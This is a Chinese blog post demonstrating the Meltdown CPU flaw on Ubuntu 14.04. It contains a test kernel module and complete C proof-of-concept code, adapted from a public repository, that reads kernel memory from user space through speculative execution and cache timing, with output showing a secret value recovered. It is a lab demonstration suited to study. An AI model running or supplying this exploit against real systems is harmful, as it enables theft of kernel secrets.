0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

在Ubuntu 14.04上面進(jìn)行的meltdown漏洞的親測

Linux閱碼場 ? 2018-01-10 13:42 ? 次閱讀

本文是我在Ubuntu 14.04上面進(jìn)行的meltdown漏洞的親測。meltdown漏洞,使得我們可以在用戶空間讀到內(nèi)核空間的數(shù)據(jù),做越權(quán)訪問。我感覺每天YY看技術(shù)文章,而不去親自試驗,總是無法切身體會,因此我們來把它實例化,直接寫代碼看效果!本文暫時不涉及技術(shù)細(xì)節(jié),只貼相關(guān)的代碼。詳細(xì)的原理,希望后面有機(jī)會再敘述。

首先寫一個內(nèi)核模塊,包含一個很簡單的proc接口,里面有個內(nèi)核全局變量variable=0x12345678,這個proc接口暴露這個全局變量。

我待會嘗試用一個應(yīng)用程序meltdown-baohua.c來把這個內(nèi)核空間變量從用戶空間偷出來。

#include

#include

#include

#include

#include

#include

#include

static unsigned int variable=0x12345678;

static struct proc_dir_entry *test_entry;

static int test_proc_show(struct seq_file *seq, void *v)

{

unsigned int *ptr_var = seq->private;

seq_printf(seq, "%u ", *ptr_var);

return 0;

}

static int test_proc_open(struct inode *inode, struct file *file)

{

return single_open(file, test_proc_show, PDE_DATA(inode));

}

static const struct file_operations test_proc_fops =

{

.owner = THIS_MODULE,

.open = test_proc_open,

.read = seq_read,

.llseek = seq_lseek,

.release = single_release,

};

static __init int test_proc_init(void)

{

printk("variable addr:%p ", &variable);

test_entry = proc_create_data("stolen_data",0444, NULL, &test_proc_fops, &variable);

if (test_entry)

return 0;

return -ENOMEM;

}

module_init(test_proc_init);

static __exit void test_proc_cleanup(void)

{

remove_proc_entry("stolen_data", NULL);

}

module_exit(test_proc_cleanup);

MODULE_AUTHOR("Barry Song ");

MODULE_DESCRIPTION("proc exmaple");

MODULE_LICENSE("GPL v2");

這個模塊對應(yīng)的Makefile如下:

在Ubuntu 14.04上面進(jìn)行的meltdown漏洞的親測

把它編譯執(zhí)行并加載:

#make

#sudo insmod proc.ko

然后dmesg看出來printk("variable addr:%p ", &variable);這一行打印的variable地址是:

[25996.868363] variable addr:f9adf000

然后我們用下面的程序來偷取f9adf000數(shù)據(jù):

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

//#define DEBUG 1

/* comment out if getting illegal insctructions error */

#ifndef HAVE_RDTSCP

# define HAVE_RDTSCP 1

#endif

#if !(defined(__x86_64__) || defined(__i386__))

# error "Only x86-64 and i386 are supported at the moment"

#endif

#define TARGET_OFFSET12

#define TARGET_SIZE(1 << TARGET_OFFSET)

#define BITS_READ8

#define VARIANTS_READ(1 << BITS_READ)

static char target_array[VARIANTS_READ * TARGET_SIZE];

void clflush_target(void)

{

int i;

for (i = 0; i < VARIANTS_READ; i++)

_mm_clflush(&target_array[i * TARGET_SIZE]);

}

extern char stopspeculate[];

static void __attribute__((noinline))

speculate(unsigned long addr)

{

#ifdef __x86_64__

asm volatile (

"1: "

".rept 300 "

"add $0x141, %%rax "

".endr "

"movzx (%[addr]), %%eax "

"shl $12, %%rax "

"jz 1b "

"movzx (%[target], %%rax, 1), %%rbx "

"stopspeculate: "

"nop "

:

: [target] "r" (target_array),

[addr] "r" (addr)

: "rax", "rbx"

);

#else /* ifdef __x86_64__ */

asm volatile (

"1: "

".rept 300 "

"add $0x141, %%eax "

".endr "

"movzx (%[addr]), %%eax "

"shl $12, %%eax "

"jz 1b "

"movzx (%[target], %%eax, 1), %%ebx "

"stopspeculate: "

"nop "

:

: [target] "r" (target_array),

[addr] "r" (addr)

: "rax", "rbx"

);

#endif

}

static inline int

get_access_time(volatile char *addr)

{

int time1, time2, junk;

volatile int j;

#if HAVE_RDTSCP

time1 = __rdtscp(&junk);

j = *addr;

time2 = __rdtscp(&junk);

#else

time1 = __rdtsc();

j = *addr;

_mm_mfence();

time2 = __rdtsc();

#endif

return time2 - time1;

}

static int cache_hit_threshold;

static int hist[VARIANTS_READ];

void check(void)

{

int i, time, mix_i;

volatile char *addr;

for (i = 0; i < VARIANTS_READ; i++) {

mix_i = ((i * 167) + 13) & 255;

addr = &target_array[mix_i * TARGET_SIZE];

time = get_access_time(addr);

if (time <= cache_hit_threshold)

hist[mix_i]++;

}

}

void sigsegv(int sig, siginfo_t *siginfo, void *context)

{

ucontext_t *ucontext = context;

#ifdef __x86_64__

ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;

#else

ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;

#endif

return;

}

int set_signal(void)

{

struct sigaction act = {

.sa_sigaction = sigsegv,

.sa_flags = SA_SIGINFO,

};

return sigaction(SIGSEGV, &act, NULL);

}

#define CYCLES 1000

int readbyte(int fd, unsigned long addr)

{

int i, ret = 0, max = -1, maxi = -1;

static char buf[256];

memset(hist, 0, sizeof(hist));

for (i = 0; i < CYCLES; i++) {

ret = pread(fd, buf, sizeof(buf), 0);

if (ret < 0) {

perror("pread");

break;

}

clflush_target();

speculate(addr);

check();

}

#ifdef DEBUG

for (i = 0; i < VARIANTS_READ; i++)

if (hist[i] > 0)

printf("addr %lx hist[%x] = %d ", addr, i, hist[i]);

#endif

for (i = 1; i < VARIANTS_READ; i++) {

if (hist[i] && hist[i] > max) {

max = hist[i];

maxi = i;

}

}

return maxi;

}

static char *progname;

int usage(void)

{

printf("%s: [hexaddr] [size] ", progname);

return 2;

}

static int mysqrt(long val)

{

int root = val / 2, prevroot = 0, i = 0;

while (prevroot != root && i++ < 100) {

prevroot = root;

root = (val / root + root) / 2;

}

return root;

}

#define ESTIMATE_CYCLES1000000

static void

set_cache_hit_threshold(void)

{

long cached, uncached, i;

if (0) {

cache_hit_threshold = 80;

return;

}

for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

cached += get_access_time(target_array);

for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

cached += get_access_time(target_array);

for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {

_mm_clflush(target_array);

uncached += get_access_time(target_array);

}

cached /= ESTIMATE_CYCLES;

uncached /= ESTIMATE_CYCLES;

cache_hit_threshold = mysqrt(cached * uncached);

printf("cached = %ld, uncached = %ld, threshold %d ",

cached, uncached, cache_hit_threshold);

}

static int min(int a, int b)

{

return a < b ? a : b;

}

int main(int argc, char *argv[])

{

int ret, fd, i, is_vulnerable;

unsigned long addr, size;

progname = argv[0];

if (argc < 3)

return usage();

if (sscanf(argv[1], "%lx", &addr) != 1)

return usage();

if (sscanf(argv[2], "%lx", &size) != 1)

return usage();

memset(target_array, 1, sizeof(target_array));

ret = set_signal();

set_cache_hit_threshold();

fd = open("/proc/stolen_data", O_RDONLY);

if (fd < 0) {

perror("open");

return -1;

}

for (i = 0; i < size; i++) {

ret = readbyte(fd, addr);

if (ret == -1)

ret = 0xff;

printf("read %lx = %x %c (score=%d/%d) ",

addr, ret, isprint(ret) ? ret : ' ',

ret != 0xff ? hist[ret] : 0,

CYCLES);

addr++;

}

close(fd);

return 0;

}

上述程序改編自:https://github.com/paboldin/meltdown-exploit.git

編譯上述程序,并執(zhí)行偷?。?/p>

baohua@baohua-VirtualBox:~/meltdown-exploit$ gcc -O2 -msse2 meltdown-baohua.c

baohua@baohua-VirtualBox:~/meltdown-exploit$ sudo ./a.outf9adf000 4

[sudo] password for baohua:

cached = 31, uncached = 312, threshold 98

read f9adf000 = 78 x (score=120/1000)

read f9adf001 = 56 V (score=129/1000)

read f9adf002 = 34 4 (score=218/1000)

read f9adf003 = 12 (score=178/1000)

這樣我們就偷取到了f9adf000開始的4個字節(jié),12345678了!

詳細(xì)的原理,暫時沒有時間講了,讀者們可以先動手做起來!

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • 內(nèi)存
    +關(guān)注

    關(guān)注

    8

    文章

    2942

    瀏覽量

    73729
  • Ubuntu
    +關(guān)注

    關(guān)注

    5

    文章

    554

    瀏覽量

    29430
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    203

    瀏覽量

    15333

原文標(biāo)題:宋寶華: 用代碼切身實踐體會meltdown漏洞

文章出處:【微信號:LinuxDev,微信公眾號:Linux閱碼場】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    Ubuntu 14.04上安裝LTIB

    經(jīng)歷幾周的痛苦與折磨,終于成功Ubuntu14.04上安裝了LTIB。下面我將安裝的整個過程和具體方法分享給大家,希望能夠有所幫助。其中也有很多是參考網(wǎng)上分享的帖子。 如果有什么問題,歡迎大家來
    發(fā)表于 07-26 05:13

    Beaglebone Black上安裝的ubuntu14.04 IMG格式鏡像文件

    各位大神,剛開始接觸Beaglebone板子,求一份ubuntu14.04版本的IMG格式鏡像文件,利用SD卡安裝的,多謝啦
    發(fā)表于 02-22 15:52

    Ubuntu14.04的插入模式中如何用鼠標(biāo)控制光標(biāo)的位置????!

    `我VMware上安裝了一個Ubuntu14.04,進(jìn)入插入模式后,我只能用鍵盤控制光標(biāo)的方向,請問一下我怎么才能用鼠標(biāo)控制光標(biāo)的方向???我之前裝Ubuntu10.04是可以直接用鼠標(biāo)控制光標(biāo)的方向的!`
    發(fā)表于 03-06 11:29

    Ubuntu14.04啟動CCS后軟件會閃退

    為何Ubuntu14.04啟動CCS后軟件會閃退
    發(fā)表于 02-20 10:36

    Ek314 Ubuntu 12.04如何升級到14.04?

    有朋友問到:啟動后,出現(xiàn)提示:是否升級到Ubuntu 14.04, 點擊升級后,進(jìn)行到第二步時出現(xiàn)提示:W:Failed to fetch http://ports.
    發(fā)表于 03-12 17:08

    Ek314 Ubuntu 12.04如何升級到14.04?

    有朋友問到:啟動后,出現(xiàn)提示:是否升級到Ubuntu 14.04, 點擊升級后,進(jìn)行到第二步時出現(xiàn)提示:W:Failed to fetch http://ports.
    發(fā)表于 03-14 15:14

    如何使用U盤安裝Ubuntu14.04?

    如何使用U盤安裝Ubuntu14.04
    發(fā)表于 06-21 06:42

    ubuntu14.04 LTS上的交叉編譯工具鏈該怎樣去實現(xiàn)呢

    ubuntu14.04 LTS上的交叉編譯工具鏈該怎樣去實現(xiàn)呢?有哪些操作步驟?
    發(fā)表于 02-17 08:11

    為什么要在Ubuntu 14.04上去安裝Android Studio呢

    為什么要在Ubuntu 14.04上去安裝Android Studio呢?有哪些安裝步驟呢?
    發(fā)表于 03-10 09:34

    CH341Aubuntu 14.04上使用出現(xiàn)亂碼的怎么解決?

    大家好,請問下各位:有沒有遇到過CH341Aubuntu 14.04上使用出現(xiàn)亂碼的問題呢?我從官網(wǎng)下載了CH34X的linux驅(qū)動,也一樣亂碼。 此模塊windows上使用沒有問
    發(fā)表于 07-20 07:25

    Spectre和Meltdown的利用漏洞的軟件影響和緩解措施

    以下指南簡要概述了稱為Spectre和Meltdown的利用漏洞的軟件影響和緩解措施,更準(zhǔn)確地標(biāo)識為: 變體1:邊界檢查繞過(CVE-2017-5753)變體2:分支目標(biāo)
    發(fā)表于 08-25 08:01

    英特爾年末送驚喜 推新安全CPU可直接修復(fù)Spectre和Meltdown漏洞

    據(jù)悉英特爾將會在年末推出安全CPU,在一定程度上可以直接對Spectre和Meltdown漏洞進(jìn)行直接修復(fù),科再奇說光是用軟件修復(fù)還不夠,還會對處理器架構(gòu)進(jìn)行調(diào)整。
    發(fā)表于 01-26 16:21 ?620次閱讀

    Linux Ubuntu教程之Linux Ubuntu14.04如何進(jìn)行開發(fā)環(huán)境的搭建

    本文檔的主要內(nèi)容詳細(xì)介紹的是Linux Ubuntu教程之Linux Ubuntu14.04如何進(jìn)行開發(fā)環(huán)境的搭建詳細(xì)資料免費下載。
    發(fā)表于 12-19 08:00 ?7次下載

    CAFFE+OPENCV+OPENBLAS+ANACONDA+UBUNTU14.04配置

    CAFFE+OPENCV+OPENBLAS+ANACONDA+UBUNTU14.04配置(新型電源技術(shù)結(jié)課論文UC3842)-CAFFE+OPENCV+OPENBLAS+ANACONDA+UBUNTU14.04配置
    發(fā)表于 09-18 14:30 ?6次下載
    CAFFE+OPENCV+OPENBLAS+ANACONDA+<b class='flag-5'>UBUNTU14.04</b>配置

    Meltdown Meltdown漏洞的概念驗證

    ./oschina_soft/meltdown.zip
    發(fā)表于 05-07 09:15 ?1次下載
    <b class='flag-5'>Meltdown</b> <b class='flag-5'>Meltdown</b><b class='flag-5'>漏洞</b>的概念驗證